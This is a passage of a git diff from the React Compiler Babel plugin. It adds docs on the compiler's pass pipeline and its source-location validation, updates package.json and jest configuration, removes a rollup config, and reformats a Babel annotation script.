+**Why it fails:** Even though this looks like a simple component definition, it creates a new function (and thus a new component type) on every render. The fix is to move the component definition outside of `Example`.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/55-validateSourceLocations.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/55-validateSourceLocations.md
new file mode 100644
index 000000000000..b10017d87114
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/55-validateSourceLocations.md
@@ -0,0 +1,199 @@
+# validateSourceLocations
+
+## File
+`src/Validation/ValidateSourceLocations.ts`
+
+## Purpose
+**IMPORTANT: This validation is intended for unit tests only, not production use.**
+
+Validates that important source locations from the original code are preserved in the generated AST. This ensures that code coverage instrumentation tools (like Istanbul) can properly map back to the original source code for accurate coverage reports.
+
+## Input Invariants
+- Operates on the original Babel AST (`NodePath<FunctionDeclaration | ArrowFunctionExpression | FunctionExpression>`)
+- Operates on the generated CodegenFunction output
+- Must run after code generation
+
+## Validation Rules
+The pass checks that "important" source locations (as defined by Istanbul's instrumentation requirements) are preserved in the generated output.
+
+### Two types of errors:
+
+1. **Missing location:**
+```
+Important source location missing in generated code. Source location for [NodeType]
+is missing in the generated output. This can cause coverage instrumentation to fail
+to track this code properly, resulting in inaccurate coverage reports.
+```
+
+2. **Wrong node type:**
+```
+Important source location has wrong node type in generated code. Source location for
+[ExpectedType] exists in the generated output but with wrong node type(s): [ActualTypes].
+This can cause coverage instrumentation to fail to track this code properly.
+```
+
+### Important Node Types
+The following node types are considered important for coverage tracking:
+```typescript
+const IMPORTANT_INSTRUMENTED_TYPES = new Set([
+  'ArrowFunctionExpression',
+  'AssignmentPattern',
+  'ObjectMethod',
+  'ExpressionStatement',
+  'BreakStatement',
+  'ContinueStatement',
+  'ReturnStatement',
+  'ThrowStatement',
+  'TryStatement',
+  'VariableDeclarator',
+  'IfStatement',
+  'ForStatement',
+  'ForInStatement',
+  'ForOfStatement',
+  'WhileStatement',
+  'DoWhileStatement',
+  'SwitchStatement',
+  'SwitchCase',
+  'WithStatement',
+  'FunctionDeclaration',
+  'FunctionExpression',
+  'LabeledStatement',
+  'ConditionalExpression',
+  'LogicalExpression',
+  'VariableDeclaration',
+  'Identifier',
+]);
+```
+
+### Strict Node Types
+For these types, both the location AND node type must match:
+- `VariableDeclaration`
+- `VariableDeclarator`
+- `Identifier`
+
+## Algorithm
+
+### Step 1: Collect Important Original Locations
+Traverse the original AST and collect locations from nodes whose types are in `IMPORTANT_INSTRUMENTED_TYPES`:
+- Skip nodes that are manual memoization calls (`useMemo`/`useCallback`) since the compiler intentionally removes these
+- Build a map from location key to `{loc, nodeTypes}`
+
+### Step 2: Collect Generated Locations
+Recursively traverse the generated AST (main function body + outlined functions) and collect all locations with their node types.
+
+### Step 3: Validate Preservation
+For each important original location:
+- If the location is completely missing in generated output, report an error
+- For strict node types, verify the specific node type is present
+- Handle cases where a generated location has a different node type
+
+### Location Key Format
+Locations are compared using a string key:
+```typescript
+function locationKey(loc: SourceLocation): string {
+  return `${loc.start.line}:${loc.start.column}-${loc.end.line}:${loc.end.column}`;
+}
+```
+
+## Edge Cases
+
+### Manual Memoization Removal
+The compiler intentionally removes `useMemo` and `useCallback` calls (replacing them with compiler-generated memoization). These are detected and exempted from validation:
+```typescript
+function isManualMemoization(node: Node): boolean {
+  // Checks for useMemo/useCallback or React.useMemo/React.useCallback
+}
+```
+
+### Outlined Functions
+The validation also checks locations in outlined functions (functions extracted by the compiler for optimization purposes).
+
+### Multiple Node Types at Same Location
+Multiple node types can share the same location (e.g., a `VariableDeclarator` and its `Identifier` child). The pass tracks all node types for each location.
+
+## TODOs
+From the file documentation:
+> There's one big gotcha with this validation: it only works if the "important" original nodes are not optimized away by the compiler.
+>
+> When that scenario happens, we should just update the fixture to not include a node that has no corresponding node in the generated AST due to being completely removed during compilation.
+
+## Example
+
+### Fixture: `error.todo-missing-source-locations.js`
+
+**Input:**
+```javascript
+// @validateSourceLocations
+import {useEffect, useCallback} from 'react';
+
+function Component({prop1, prop2}) {
+  const x = prop1 + prop2;
+  const y = x * 2;
+  const arr = [x, y];
+  const obj = {x, y};
+  let destA, destB;
+  if (y > 5) {
+    [destA, destB] = arr;
+  }
+
+  const [a, b] = arr;
+  const {x: c, y: d} = obj;
+  let sound;
+
+  if (y > 10) {
+    sound = 'woof';
+  } else {
+    sound = 'meow';
+  }
+
+  useEffect(() => {
+    if (a > 10) {
+      console.log(a);
+      console.log(sound);
+      console.log(destA, destB);
+    }
+  }, [a, sound, destA, destB]);
+
+  const foo = useCallback(() => {
+    return a + b;
+  }, [a, b]);
+
+  function bar() {
+    return (c + d) * 2;
+  }
+
+  console.log('Hello, world!');
+
+  return [y, foo, bar];
+}
+```
+
+**Error (partial):**
+```
+Found 25 errors:
+
+Todo: Important source location missing in generated code
+Source location for Identifier is missing in the generated output...
+
+error.todo-missing-source-locations.ts:4:9
+> 4 | function Component({prop1, prop2}) {
+    |          ^^^^^^^^^
+
+Todo: Important source location missing in generated code
+Source location for VariableDeclaration is missing in the generated output...
+
+error.todo-missing-source-locations.ts:9:2
+>  9 |   let destA, destB;
+     |   ^^^^^^^^^^^^^^^^^
+
+Todo: Important source location missing in generated code
+Source location for ExpressionStatement is missing in the generated output...
+
+error.todo-missing-source-locations.ts:11:4
+> 11 |     [destA, destB] = arr;
+     |     ^^^^^^^^^^^^^^^^^^^^^
+```
+
+**Why it fails:** The compiler transforms the code significantly, and many original source locations are not preserved in the output. This causes coverage tools to lose track of which lines were executed.
+
+**Note:** This fixture is prefixed with `error.todo-` indicating this is a known limitation that needs to be addressed.
diff --git a/compiler/packages/babel-plugin-react-compiler/docs/passes/README.md b/compiler/packages/babel-plugin-react-compiler/docs/passes/README.md
new file mode 100644
index 000000000000..9e99265392f0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/docs/passes/README.md
@@ -0,0 +1,318 @@
+# React Compiler Passes Documentation
+
+This directory contains detailed documentation for each pass in the React Compiler pipeline. The compiler transforms React components and hooks to add automatic memoization.
+
+## High-Level Architecture
+
+```
+                    ┌─────────────────────────────────────────────────────────────┐
+                    │                     COMPILATION PIPELINE                      │
+                    └─────────────────────────────────────────────────────────────┘
+                                              │
+                                              ▼
+┌─────────────────────────────────────────────────────────────────────────────────────┐
+│  PHASE 1: HIR CONSTRUCTION                                                          │
+│  ┌─────────┐                                                                        │
+│  │  Babel  │──▶ lower ──▶ enterSSA ──▶ eliminateRedundantPhi                        │
+│  │   AST   │              │                                                         │
+│  └─────────┘              ▼                                                         │
+│                     ┌──────────┐                                                    │
+│                     │   HIR    │  (Control Flow Graph in SSA Form)                  │
+│                     └──────────┘                                                    │
+└─────────────────────────────────────────────────────────────────────────────────────┘
+                                              │
+                                              ▼
+┌─────────────────────────────────────────────────────────────────────────────────────┐
+│  PHASE 2: OPTIMIZATION                                                              │
+│                                                                                     │
+│  constantPropagation ──▶ deadCodeElimination                                         │
+│                                                                                     │
+└─────────────────────────────────────────────────────────────────────────────────────┘
+                                              │
+                                              ▼
+┌─────────────────────────────────────────────────────────────────────────────────────┐
+│  PHASE 3: TYPE & EFFECT INFERENCE                                                   │
+│                                                                                     │
+│  inferTypes ──▶ analyseFunctions ──▶ inferMutationAliasingEffects                   │
+│                                              │                                      │
+│                                              ▼                                      │
+│                         inferMutationAliasingRanges ──▶ inferReactivePlaces         │
+│                                                                                     │
+└─────────────────────────────────────────────────────────────────────────────────────┘
+                                              │
+                                              ▼
+┌─────────────────────────────────────────────────────────────────────────────────────┐
+│  PHASE 4: REACTIVE SCOPE CONSTRUCTION                                               │
+│                                                                                     │
+│  inferReactiveScopeVariables ──▶ alignMethodCallScopes ──▶ alignObjectMethodScopes  │
+│              │                                                                      │
+│              ▼                                                                      │
+│  alignReactiveScopesToBlockScopesHIR ──▶ mergeOverlappingReactiveScopesHIR          │
+│              │                                                                      │
+│              ▼                                                                      │
+│  buildReactiveScopeTerminalsHIR ──▶ flattenReactiveLoopsHIR                         │
+│              │                                                                      │
+│              ▼                                                                      │
+│  flattenScopesWithHooksOrUseHIR ──▶ propagateScopeDependenciesHIR                   │
+│                                                                                     │
+└─────────────────────────────────────────────────────────────────────────────────────┘
+                                              │
+                                              ▼
+┌─────────────────────────────────────────────────────────────────────────────────────┐
+│  PHASE 5: HIR → REACTIVE FUNCTION                                                   │
+│                                                                                     │
+│                           buildReactiveFunction                                     │
+│                                    │                                                │
+│                                    ▼                                                │
+│                         ┌───────────────────┐                                       │
+│                         │ ReactiveFunction  │  (Tree Structure)                     │
+│                         └───────────────────┘                                       │
+│                                                                                     │
+└─────────────────────────────────────────────────────────────────────────────────────┘
+                                              │
+                                              ▼
+┌─────────────────────────────────────────────────────────────────────────────────────┐
+│  PHASE 6: REACTIVE FUNCTION OPTIMIZATION                                            │
+│                                                                                     │
+│  pruneUnusedLabels ──▶ pruneNonEscapingScopes ──▶ pruneNonReactiveDependencies      │
+│              │                                                                      │
+│              ▼                                                                      │
+│  pruneUnusedScopes ──▶ mergeReactiveScopesThatInvalidateTogether                    │
+│              │                                                                      │
+│              ▼                                                                      │
+│  pruneAlwaysInvalidatingScopes ──▶ propagateEarlyReturns ──▶ promoteUsedTemporaries │
+│                                                                                     │
+└─────────────────────────────────────────────────────────────────────────────────────┘
+                                              │
+                                              ▼
+┌─────────────────────────────────────────────────────────────────────────────────────┐
+│  PHASE 7: CODE GENERATION                                                           │
+│                                                                                     │
+│  renameVariables ──▶ codegenReactiveFunction                                        │
+│                              │                                                      │
+│                              ▼                                                      │
+│                      ┌─────────────┐                                                │
+│                      │  Babel AST  │  (With Memoization)                            │
+│                      └─────────────┘                                                │
+│                                                                                     │
+└─────────────────────────────────────────────────────────────────────────────────────┘
+```
+
+## Pass Categories
+
+### HIR Construction & SSA (1-3)
+
+| # | Pass | File | Description |
+|---|------|------|-------------|
+| 1 | [lower](01-lower.md) | `HIR/BuildHIR.ts` | Convert Babel AST to HIR control-flow graph |
+| 2 | [enterSSA](02-enterSSA.md) | `SSA/EnterSSA.ts` | Convert to Static Single Assignment form |
+| 3 | [eliminateRedundantPhi](03-eliminateRedundantPhi.md) | `SSA/EliminateRedundantPhi.ts` | Remove unnecessary phi nodes |
+
+### Optimization (4-5)
+
+| # | Pass | File | Description |
+|---|------|------|-------------|
+| 4 | [constantPropagation](04-constantPropagation.md) | `Optimization/ConstantPropagation.ts` | Sparse conditional constant propagation |
+| 5 | [deadCodeElimination](05-deadCodeElimination.md) | `Optimization/DeadCodeElimination.ts` | Remove unreferenced instructions |
+
+### Type Inference (6)
+
+| # | Pass | File | Description |
+|---|------|------|-------------|
+| 6 | [inferTypes](06-inferTypes.md) | `TypeInference/InferTypes.ts` | Constraint-based type unification |
+
+### Mutation/Aliasing Inference (7-10)
+
+| # | Pass | File | Description |
+|---|------|------|-------------|
+| 7 | [analyseFunctions](07-analyseFunctions.md) | `Inference/AnalyseFunctions.ts` | Analyze nested function effects |
+| 8 | [inferMutationAliasingEffects](08-inferMutationAliasingEffects.md) | `Inference/InferMutationAliasingEffects.ts` | Infer mutation/aliasing via abstract interpretation |
+| 9 | [inferMutationAliasingRanges](09-inferMutationAliasingRanges.md) | `Inference/InferMutationAliasingRanges.ts` | Compute mutable ranges from effects |
+| 10 | [inferReactivePlaces](10-inferReactivePlaces.md) | `Inference/InferReactivePlaces.ts` | Mark reactive places (props, hooks, derived) |
+
+### Reactive Scope Variables (11-12)
+
+| # | Pass | File | Description |
+|---|------|------|-------------|
+| 11 | [inferReactiveScopeVariables](11-inferReactiveScopeVariables.md) | `ReactiveScopes/InferReactiveScopeVariables.ts` | Group co-mutating variables into scopes |
+| 12 | [rewriteInstructionKindsBasedOnReassignment](12-rewriteInstructionKindsBasedOnReassignment.md) | `SSA/RewriteInstructionKindsBasedOnReassignment.ts` | Convert SSA loads to context loads for reassigned vars |
+
+### Scope Alignment (13-15)
+
+| # | Pass | File | Description |
+|---|------|------|-------------|
+| 13 | [alignMethodCallScopes](13-alignMethodCallScopes.md) | `ReactiveScopes/AlignMethodCallScopes.ts` | Align method call scopes with receivers |
+| 14 | [alignObjectMethodScopes](14-alignObjectMethodScopes.md) | `ReactiveScopes/AlignObjectMethodScopes.ts` | Align object method scopes |
+| 15 | [alignReactiveScopesToBlockScopesHIR](15-alignReactiveScopesToBlockScopesHIR.md) | `ReactiveScopes/AlignReactiveScopesToBlockScopesHIR.ts` | Align to control-flow block boundaries |
+
+### Scope Construction (16-18)
+
+| # | Pass | File | Description |
+|---|------|------|-------------|
+| 16 | [mergeOverlappingReactiveScopesHIR](16-mergeOverlappingReactiveScopesHIR.md) | `HIR/MergeOverlappingReactiveScopesHIR.ts` | Merge overlapping scopes |
+| 17 | [buildReactiveScopeTerminalsHIR](17-buildReactiveScopeTerminalsHIR.md) | `HIR/BuildReactiveScopeTerminalsHIR.ts` | Insert scope terminals into CFG |
+| 18 | [flattenReactiveLoopsHIR](18-flattenReactiveLoopsHIR.md) | `ReactiveScopes/FlattenReactiveLoopsHIR.ts` | Prune scopes inside loops |
+
+### Scope Flattening & Dependencies (19-20)
+
+| # | Pass | File | Description |
+|---|------|------|-------------|
+| 19 | [flattenScopesWithHooksOrUseHIR](19-flattenScopesWithHooksOrUseHIR.md) | `ReactiveScopes/FlattenScopesWithHooksOrUseHIR.ts` | Prune scopes containing hooks |
+| 20 | [propagateScopeDependenciesHIR](20-propagateScopeDependenciesHIR.md) | `HIR/PropagateScopeDependenciesHIR.ts` | Derive minimal scope dependencies |
+
+### HIR → Reactive Conversion (21)
+
+| # | Pass | File | Description |
+|---|------|------|-------------|
+| 21 | [buildReactiveFunction](21-buildReactiveFunction.md) | `ReactiveScopes/BuildReactiveFunction.ts` | Convert CFG to tree structure |
+
+### Reactive Function Pruning (22-25)
+
+| # | Pass | File | Description |
+|---|------|------|-------------|
+| 22 | [pruneUnusedLabels](22-pruneUnusedLabels.md) | `ReactiveScopes/PruneUnusedLabels.ts` | Remove unused labels |
+| 23 | [pruneNonEscapingScopes](23-pruneNonEscapingScopes.md) | `ReactiveScopes/PruneNonEscapingScopes.ts` | Remove non-escaping scopes |
+| 24 | [pruneNonReactiveDependencies](24-pruneNonReactiveDependencies.md) | `ReactiveScopes/PruneNonReactiveDependencies.ts` | Remove non-reactive dependencies |
+| 25 | [pruneUnusedScopes](25-pruneUnusedScopes.md) | `ReactiveScopes/PruneUnusedScopes.ts` | Remove empty scopes |
+
+### Scope Optimization (26-28)
+
+| # | Pass | File | Description |
+|---|------|------|-------------|
+| 26 | [mergeReactiveScopesThatInvalidateTogether](26-mergeReactiveScopesThatInvalidateTogether.md) | `ReactiveScopes/MergeReactiveScopesThatInvalidateTogether.ts` | Merge co-invalidating scopes |
+| 27 | [pruneAlwaysInvalidatingScopes](27-pruneAlwaysInvalidatingScopes.md) | `ReactiveScopes/PruneAlwaysInvalidatingScopes.ts` | Prune always-invalidating scopes |
+| 28 | [propagateEarlyReturns](28-propagateEarlyReturns.md) | `ReactiveScopes/PropagateEarlyReturns.ts` | Handle early returns in scopes |
+
+### Codegen Preparation (29-31)
+
+| # | Pass | File | Description |
+|---|------|------|-------------|
+| 29 | [promoteUsedTemporaries](29-promoteUsedTemporaries.md) | `ReactiveScopes/PromoteUsedTemporaries.ts` | Promote temps to named vars |
+| 30 | [renameVariables](30-renameVariables.md) | `ReactiveScopes/RenameVariables.ts` | Ensure unique variable names |
+| 31 | [codegenReactiveFunction](31-codegenReactiveFunction.md) | `ReactiveScopes/CodegenReactiveFunction.ts` | Generate final Babel AST |
+
+### Transformations (32-38)
+
+| # | Pass | File | Description |
+|---|------|------|-------------|
+| 34 | [optimizePropsMethodCalls](34-optimizePropsMethodCalls.md) | `Optimization/OptimizePropsMethodCalls.ts` | Normalize props method calls |
+| 35 | [optimizeForSSR](35-optimizeForSSR.md) | `Optimization/OptimizeForSSR.ts` | SSR-specific optimizations |
+| 36 | [outlineJSX](36-outlineJSX.md) | `Optimization/OutlineJsx.ts` | Outline JSX to components |
+| 37 | [outlineFunctions](37-outlineFunctions.md) | `Optimization/OutlineFunctions.ts` | Outline pure functions |
+| 38 | [memoizeFbtAndMacroOperandsInSameScope](38-memoizeFbtAndMacroOperandsInSameScope.md) | `ReactiveScopes/MemoizeFbtAndMacroOperandsInSameScope.ts` | Keep FBT operands together |
+
+### Validation (39-55)
+
+| # | Pass | File | Description |
+|---|------|------|-------------|
+| 39 | [validateContextVariableLValues](39-validateContextVariableLValues.md) | `Validation/ValidateContextVariableLValues.ts` | Variable reference consistency |
+| 40 | [validateUseMemo](40-validateUseMemo.md) | `Validation/ValidateUseMemo.ts` | useMemo callback requirements |
+| 41 | [validateHooksUsage](41-validateHooksUsage.md) | `Validation/ValidateHooksUsage.ts` | Rules of Hooks |
+| 42 | [validateNoCapitalizedCalls](42-validateNoCapitalizedCalls.md) | `Validation/ValidateNoCapitalizedCalls.ts` | Component vs function calls |
+| 43 | [validateLocalsNotReassignedAfterRender](43-validateLocalsNotReassignedAfterRender.md) | `Validation/ValidateLocalsNotReassignedAfterRender.ts` | Variable mutation safety |
+| 44 | [validateNoSetStateInRender](44-validateNoSetStateInRender.md) | `Validation/ValidateNoSetStateInRender.ts` | No setState during render |
+| 45 | [validateNoDerivedComputationsInEffects](45-validateNoDerivedComputationsInEffects.md) | `Validation/ValidateNoDerivedComputationsInEffects.ts` | Effect optimization hints |
+| 46 | [validateNoSetStateInEffects](46-validateNoSetStateInEffects.md) | `Validation/ValidateNoSetStateInEffects.ts` | Effect performance |
+| 47 | [validateNoJSXInTryStatement](47-validateNoJSXInTryStatement.md) | `Validation/ValidateNoJSXInTryStatement.ts` | Error boundary usage |
+| 48 | [validateNoImpureValuesInRender](48-validateNoImpureValuesInRender.md) | `Validation/ValidateNoImpureValuesInRender.ts` | Impure value isolation |
+| 49 | [validateNoRefAccessInRender](49-validateNoRefAccessInRender.md) | `Validation/ValidateNoRefAccessInRender.ts` | Ref access constraints |
+| 50 | [validateNoFreezingKnownMutableFunctions](50-validateNoFreezingKnownMutableFunctions.md) | `Validation/ValidateNoFreezingKnownMutableFunctions.ts` | Mutable function isolation |
+| 51 | [validateExhaustiveDependencies](51-validateExhaustiveDependencies.md) | `Validation/ValidateExhaustiveDependencies.ts` | Dependency array completeness |
+| 53 | [validatePreservedManualMemoization](53-validatePreservedManualMemoization.md) | `Validation/ValidatePreservedManualMemoization.ts` | Manual memo preservation |
+| 54 | [validateStaticComponents](54-validateStaticComponents.md) | `Validation/ValidateStaticComponents.ts` | Component identity stability |
+| 55 | [validateSourceLocations](55-validateSourceLocations.md) | `Validation/ValidateSourceLocations.ts` | Source location preservation |
+
+## Key Data Structures
+
+### HIR (High-level Intermediate Representation)
+
+The compiler converts source code to HIR for analysis. Key types:
+
+- **HIRFunction**: A function being compiled
+  - `body.blocks`: Map of BasicBlocks (control flow graph)
+  - `context`: Captured variables from outer scope
+  - `params`: Function parameters
+  - `returns`: The function's return place
+
+- **BasicBlock**: A sequence of instructions with a terminal
+  - `instructions`: Array of Instructions
+  - `terminal`: Control flow (return, branch, etc.)
+  - `phis`: Phi nodes for SSA
+
+- **Instruction**: A single operation
+  - `lvalue`: The place being assigned to
+  - `value`: The instruction kind (CallExpression, FunctionExpression, etc.)
+  - `effects`: Array of AliasingEffects
+
+- **Place**: A reference to a value
+  - `identifier.id`: Unique IdentifierId
+  - `effect`: How the place is used (read, mutate, etc.)
+
+### ReactiveFunction
+
+After HIR is analyzed, it's converted to ReactiveFunction:
+
+- Tree structure instead of CFG
+- Contains ReactiveScopes that define memoization boundaries
+- Each scope has dependencies and declarations
+
+### AliasingEffects
+
+Effects describe data flow and operations:
+
+- **Capture/Alias**: Value relationships
+- **Mutate/MutateTransitive**: Mutation tracking
+- **Freeze**: Immutability marking
+- **Render**: JSX usage context
+- **Create/CreateFunction**: Value creation
+
+## Feature Flags
+
+Many passes are controlled by feature flags in `Environment.ts`:
+
+| Flag | Enables Pass |
+|------|--------------|
+| `enableJsxOutlining` | outlineJSX |
+| `enableFunctionOutlining` | outlineFunctions |
+| `validateNoSetStateInRender` | validateNoSetStateInRender |
+| `enableUseMemoCacheInterop` | Preserves manual memoization |
+
+## Running Tests
+
+```bash
+# Run all tests
+yarn snap
+
+# Run specific fixture
+yarn snap -p <fixture-name>
+
+# Run with debug output (shows all passes)
+yarn snap -p <fixture-name> -d
+
+# Compile any file (not just fixtures) and see output
+yarn snap compile <path>
+
+# Compile any file with debug output (alternative to yarn snap -d -p when you don't have a fixture)
+yarn snap compile --debug <path>
+
+# Minimize a failing test case to its minimal reproduction
+yarn snap minimize <path>
+
+# Update expected outputs
+yarn snap -u
+```
+
+## Fault Tolerance
+
+The pipeline is fault-tolerant: all passes run to completion, accumulating errors on `Environment` rather than aborting on the first error.
+
+- **Validation passes** are wrapped in `env.tryRecord()` in Pipeline.ts, which catches non-invariant `CompilerError`s and records them. If a validation pass throws, compilation continues.
+- **Infrastructure/transformation passes** (enterSSA, eliminateRedundantPhi, inferMutationAliasingEffects, codegen, etc.) are NOT wrapped in `tryRecord()` because subsequent passes depend on their output being structurally valid. If they fail, compilation aborts.
+- **`lower()` (BuildHIR)** always produces an `HIRFunction`, recording errors on `env` instead of returning `Err`. Unsupported constructs (e.g., `var`) are lowered best-effort.
+- At the end of the pipeline, `env.hasErrors()` determines whether to return `Ok(codegen)` or `Err(aggregatedErrors)`.
+
+## Further Reading
+
+- [MUTABILITY_ALIASING_MODEL.md](../../src/Inference/MUTABILITY_ALIASING_MODEL.md): Detailed aliasing model docs
+- [Pipeline.ts](../../src/Entrypoint/Pipeline.ts): Pass ordering and orchestration
+- [HIR.ts](../../src/HIR/HIR.ts): Core data structure definitions
diff --git a/compiler/packages/babel-plugin-react-compiler/jest.config.js b/compiler/packages/babel-plugin-react-compiler/jest.config.js
index 77ac7dbddc5f..4702289acb73 100644
--- a/compiler/packages/babel-plugin-react-compiler/jest.config.js
+++ b/compiler/packages/babel-plugin-react-compiler/jest.config.js
@@ -7,7 +7,7 @@
 
 /** @type {import('jest').Config} */
 const config = {
-  projects: ["<rootDir>/scripts/jest/*.config.js"],
+  projects: ['<rootDir>/scripts/jest/*.config.js'],
 };
 
 module.exports = config;
diff --git a/compiler/packages/babel-plugin-react-compiler/package.json b/compiler/packages/babel-plugin-react-compiler/package.json
index e1f474149004..7647bcab1ca4 100644
--- a/compiler/packages/babel-plugin-react-compiler/package.json
+++ b/compiler/packages/babel-plugin-react-compiler/package.json
@@ -1,33 +1,30 @@
 {
   "name": "babel-plugin-react-compiler",
-  "version": "0.0.0-experimental-179941d-20240614",
+  "version": "0.0.0-experimental-334f00b-20240725",
   "description": "Babel plugin for React Compiler.",
   "main": "dist/index.js",
   "license": "MIT",
   "files": [
-    "dist"
+    "dist",
+    "!*.tsbuildinfo"
   ],
   "scripts": {
-    "build": "rimraf dist && rollup --config --bundleConfigAsCjs",
-    "test": "yarn snap:ci",
+    "build": "rimraf dist && tsup",
+    "test": "./scripts/link-react-compiler-runtime.sh && yarn snap:ci",
     "jest": "yarn build && ts-node node_modules/.bin/jest",
-    "snap": "node ../snap/dist/main.js",
+    "snap": "yarn workspace snap run snap",
     "snap:build": "yarn workspace snap run build",
     "snap:ci": "yarn snap:build && yarn snap",
     "ts:analyze-trace": "scripts/ts-analyze-trace.sh",
-    "lint": "yarn eslint src"
+    "lint": "yarn eslint src",
+    "watch": "yarn build --dts --watch"
   },
   "dependencies": {
-    "@babel/generator": "7.2.0",
-    "@babel/types": "^7.19.0",
-    "chalk": "4",
-    "invariant": "^2.2.4",
-    "pretty-format": "^24",
-    "zod": "^3.22.4",
-    "zod-validation-error": "^2.1.0"
+    "@babel/types": "^7.26.0"
   },
   "devDependencies": {
     "@babel/core": "^7.2.0",
+    "@babel/generator": "7.2.0",
     "@babel/parser": "^7.2.0",
     "@babel/plugin-syntax-typescript": "^7.18.6",
     "@babel/plugin-transform-block-scoping": "^7.18.9",
@@ -41,20 +38,22 @@
     "@types/invariant": "^2.2.35",
     "@types/jest": "^29.0.3",
     "@types/node": "^18.7.18",
-    "@typescript-eslint/eslint-plugin": "^7.4.0",
-    "@typescript-eslint/parser": "^7.4.0",
+    "@typescript-eslint/eslint-plugin": "^8.7.0",
+    "@typescript-eslint/parser": "^8.7.0",
     "babel-jest": "^29.0.3",
     "babel-plugin-fbt": "^1.0.0",
     "babel-plugin-fbt-runtime": "^1.0.0",
-    "eslint": "8.27.0",
-    "glob": "^7.1.6",
+    "eslint": "^8.57.1",
+    "invariant": "^2.2.4",
     "jest": "^29.0.3",
     "jest-environment-jsdom": "^29.0.3",
-    "react": "19.0.0-beta-b498834eab-20240506",
-    "react-dom": "19.0.0-beta-b498834eab-20240506",
-    "rimraf": "^3.0.2",
+    "pretty-format": "^24",
+    "react": "0.0.0-experimental-4beb1fd8-20241118",
+    "react-dom": "0.0.0-experimental-4beb1fd8-20241118",
     "ts-jest": "^29.1.1",
-    "ts-node": "^10.9.2"
+    "ts-node": "^10.9.2",
+    "zod": "^3.25.0 || ^4.0.0",
+    "zod-validation-error": "^3.5.0 || ^4.0.0"
   },
   "resolutions": {
     "./**/@babel/parser": "7.7.4",
@@ -63,5 +62,10 @@
     "@babel/core": "7.2.0",
     "@babel/generator": "7.2.0",
     "@babel/traverse": "7.7.4"
+  },
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/facebook/react.git",
+    "directory": "compiler/packages/babel-plugin-react-compiler"
   }
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/rollup.config.js b/compiler/packages/babel-plugin-react-compiler/rollup.config.js
deleted file mode 100644
index 8450c2c14493..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/rollup.config.js
+++ /dev/null
@@ -1,70 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import typescript from "@rollup/plugin-typescript";
-import { nodeResolve } from "@rollup/plugin-node-resolve";
-import commonjs from "@rollup/plugin-commonjs";
-import json from "@rollup/plugin-json";
-import path from "path";
-import process from "process";
-import terser from "@rollup/plugin-terser";
-import prettier from "rollup-plugin-prettier";
-import banner2 from "rollup-plugin-banner2";
-
-const NO_INLINE = new Set(["@babel/types"]);
-
-const DEV_ROLLUP_CONFIG = {
-  input: "src/index.ts",
-  output: {
-    file: "dist/index.js",
-    format: "cjs",
-    sourcemap: false,
-    exports: "named",
-  },
-  plugins: [
-    typescript({
-      tsconfig: "./tsconfig.json",
-      compilerOptions: {
-        noEmit: true,
-      },
-    }),
-    json(),
-    nodeResolve({
-      preferBuiltins: true,
-      resolveOnly: (module) => NO_INLINE.has(module) === false,
-      rootDir: path.join(process.cwd(), ".."),
-    }),
-    commonjs(),
-    terser({
-      format: {
-        comments: false,
-      },
-      compress: false,
-      mangle: false,
-    }),
-    prettier(),
-    banner2(
-      () => `/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @lightSyntaxTransform
- * @noflow
- * @nolint
- * @preventMunge
- * @preserve-invariant-messages
- */
-
-"use no memo";
-`
-    ),
-  ],
-};
-
-export default DEV_ROLLUP_CONFIG;
diff --git a/compiler/packages/babel-plugin-react-compiler/scripts/babel-plugin-annotate-react-code.ts b/compiler/packages/babel-plugin-react-compiler/scripts/babel-plugin-annotate-react-code.ts
index c6ce4960058b..4970e39f2e62 100644
--- a/compiler/packages/babel-plugin-react-compiler/scripts/babel-plugin-annotate-react-code.ts
+++ b/compiler/packages/babel-plugin-react-compiler/scripts/babel-plugin-annotate-react-code.ts
@@ -5,15 +5,15 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import type * as BabelCore from "@babel/core";
-import { NodePath } from "@babel/core";
-import * as t from "@babel/types";
+import type * as BabelCore from '@babel/core';
+import {NodePath} from '@babel/core';
+import * as t from '@babel/types';
 
 export default function AnnotateReactCodeBabelPlugin(
-  _babel: typeof BabelCore
+  _babel: typeof BabelCore,
 ): BabelCore.PluginObj {
   return {
-    name: "annotate-react-code",
+    name: 'annotate-react-code',
     visitor: {
       Program(prog): void {
         annotate(prog);
@@ -56,23 +56,23 @@ function buildTypeOfReactForget(): t.Statement {
   // typeof globalThis[Symbol.for("react_forget")]
   return t.expressionStatement(
     t.unaryExpression(
-      "typeof",
+      'typeof',
       t.memberExpression(
-        t.identifier("globalThis"),
+        t.identifier('globalThis'),
         t.callExpression(
           t.memberExpression(
-            t.identifier("Symbol"),
-            t.identifier("for"),
+            t.identifier('Symbol'),
+            t.identifier('for'),
+            false,
             false,
-            false
           ),
-          [t.stringLiteral("react_forget")]
+          [t.stringLiteral('react_forget')],
         ),
         true,
-        false
+        false,
       ),
-      true
-    )
+      true,
+    ),
   );
 }
 
@@ -89,9 +89,9 @@ type BabelFn =
   | NodePath<t.ArrowFunctionExpression>;
 
 export function isComponentDeclaration(
-  node: t.FunctionDeclaration
+  node: t.FunctionDeclaration,
 ): node is ComponentDeclaration {
-  return Object.prototype.hasOwnProperty.call(node, "__componentDeclaration");
+  return Object.prototype.hasOwnProperty.call(node, '__componentDeclaration');
 }
 
 /*
@@ -101,7 +101,7 @@ export function isComponentDeclaration(
 function isComponentOrHookLike(
   node: NodePath<
     t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression
-  >
+  >,
 ): boolean {
   const functionName = getFunctionName(node);
   // Check if the name is component or hook like:
@@ -114,7 +114,7 @@ function isComponentOrHookLike(
        * helpers are _usually_ named with lowercase, but some code may
        * violate this rule
        */
-      node.get("params").length <= 1
+      node.get('params').length <= 1
     );
   } else if (functionName !== null && isHook(functionName)) {
